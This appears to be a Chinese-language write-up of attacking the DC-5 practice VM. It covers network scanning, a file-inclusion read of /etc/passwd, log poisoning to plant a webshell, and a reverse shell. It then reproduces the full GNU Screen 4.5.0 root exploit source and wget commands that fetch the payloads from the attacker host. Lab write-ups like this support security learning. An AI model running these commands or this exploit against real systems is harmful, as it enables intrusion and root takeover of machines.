注:最后提权那步失败了,若有大佬看到此文,还望指出问题,不胜感激!
由于本靶机被搁置一段时间,IP地址会有变化
故:192.168.200.11和92.168.200.58 都是靶机IP地址
kali: ip 192.168.200.14
dc-5 : ip地址未知
经常使用的三种方法
arp-scan -l # 第一种方法
# 轻量级扫描工具
nmap -sP 192.168.200.0/24 -T4 # 第二种方法结合nmap
# ping扫描,Nmap在扫描端口时,默认都会使用ping扫描,只有主机存活,Nmap才会继续扫描。
-T4 针对TCP端口禁止动态扫描延迟超过1MMS
netdiscover -i eth0 -r 192.168.200.0/24 # 第三种方法 -i是指定网卡,-r扫描一个地址段
# Netdiscover 是一个主动/被动的ARP 侦查工具。
nmap -sS -A 192.168.200.11 -p 1-65535
# (sS) 这是一个基本的扫描方式,它被称为半开放扫描,
因为这种技术使得Nmap不需要通过完整的握手就能获得远程主机的信息。
Nmap发送SYN包到远程主机,但是它不会产生任何会话.因此不会**在目标主机上产生任何日志记录
-p 扫描指定端口
-A 启动Os检测,版本检测,脚本扫描和traceroute
nmap -sV -p- 192.168.200.11
-sV 探测服务/版本信息
-p 扫描指定端口
开放端口有三个:80(http默认端口)和111端口、43853端口
登录网页,到这个页面发现每次刷新网页,页面下面的时间会随之改变,这可能存在文件包含
其他目录在本网页当中都是存在的,当访问这个不存在的网页时出现下面这个场景,那么猜测是有文件包含漏洞的
thankyou.php包含了footer.php
利用
?file=/etc/passwd 指令,出现预想中的效果
由于当前网站的web服务器使用的是nginx,在网站上的每一步操作都将会被写入日志文件log内,因此我们可以通过log来拿 shell,先看一下能否访问(若不知道log的存放位置,可以百度此版本号的服务器查询即可)
百度结果,那么利用如下路劲将webshell写入进去log
/var/log/nginx/error.log
/var/log/nginx/access.log
利用burp或者直接更改URL都可以
访问日志连接,可以看到一句话木马已经被写入到了日志(关杀软)
webshell连接成功
在kali上进行监听
在蚁剑终端上反弹shell,建立永久连接
python -c 'import pty;pty.spawn("/bin/bash")'
查看有suid的文件夹,寻找能够提权的信息
find / -perm -u=s -type f 2>/dev/null
GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。
GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能
KALI搜索
searchsploit screen 4.5.0
cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
查看文件
尝试本地编译其内的两个c语言程序,将该脚本拆分成3部分,具体内容如下
以下按照所给EXP操作
第一部分 -----》libhax.c
#include
#include
#include
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
用命令编译,生成libhax.so 文件
gcc -fPIC -shared -ldl -o libhax.so libhax.c
#include
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
编译生成rootshell.c
gcc -o rootshell rootshell.c
#!/bin/bash
# 编译成脚本文件要加头
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
然后本地开启一个HTTP服务
python -m http.server 8899
将编译好的三个文件上传至靶机目录
wget http://192.168.200.14:8888/rootshell
wget http://192.168.200.14:8888/libhax.so
wget http://192.168.200.14:8888/DC-5.sh
显示这样的报错问题,提示glibc_2.34不能被找到,这应该是过低还是过高导致的问题呢、
原文参考:
https://blog.csdn.net/qq_34028816/article/details/124572718